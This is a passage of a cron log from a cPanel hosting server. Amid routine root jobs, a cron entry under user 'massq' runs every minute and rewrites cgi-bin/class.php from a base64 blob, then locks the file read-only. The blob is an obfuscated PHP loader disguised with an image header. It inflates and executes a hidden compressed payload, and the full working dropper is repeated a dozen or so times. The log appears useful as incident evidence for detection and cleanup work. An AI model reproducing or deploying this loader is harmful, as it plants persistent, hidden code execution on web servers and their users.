tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:46:01 server CROND[19998]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:46:01 server CROND[19999]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:46:01 server CROND[20000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:47:01 server CROND[20364]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:47:01 server CROND[20365]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:47:01 server CROND[20366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:48:02 server CROND[20733]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:48:02 server CROND[20734]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:48:02 server CROND[20735]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:49:01 server CROND[21102]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:49:01 server CROND[21104]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:49:01 server CROND[21103]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:50:01 server CROND[21574]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:50:01 server CROND[21578]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:50:01 server CROND[21582]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:50:01 server CROND[21581]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:50:01 server CROND[21577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:50:01 server CROND[21580]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:50:01 server CROND[21583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:50:01 server CROND[21576]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:50:01 server CROND[21579]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:51:01 server CROND[22400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:51:01 server CROND[22401]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:51:01 server CROND[22402]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:52:01 server CROND[22811]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:52:01 server CROND[22809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:52:01 server CROND[22810]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:53:01 server CROND[23328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:53:01 server CROND[23329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:53:01 server CROND[23330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:54:01 server CROND[23702]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:54:01 server CROND[23703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:54:01 server CROND[23704]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:55:01 server CROND[24172]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 22:55:01 server CROND[24175]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 22:55:01 server CROND[24174]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:55:01 server CROND[24176]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:55:01 server CROND[24177]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:55:01 server CROND[24179]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:55:01 server CROND[24178]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:56:02 server CROND[25020]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:56:02 server CROND[25021]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:56:02 server CROND[25022]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:57:01 server CROND[25389]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:57:01 server CROND[25390]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:57:01 server CROND[25391]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:57:01 server CROND[25392]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 22:58:01 server CROND[25756]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
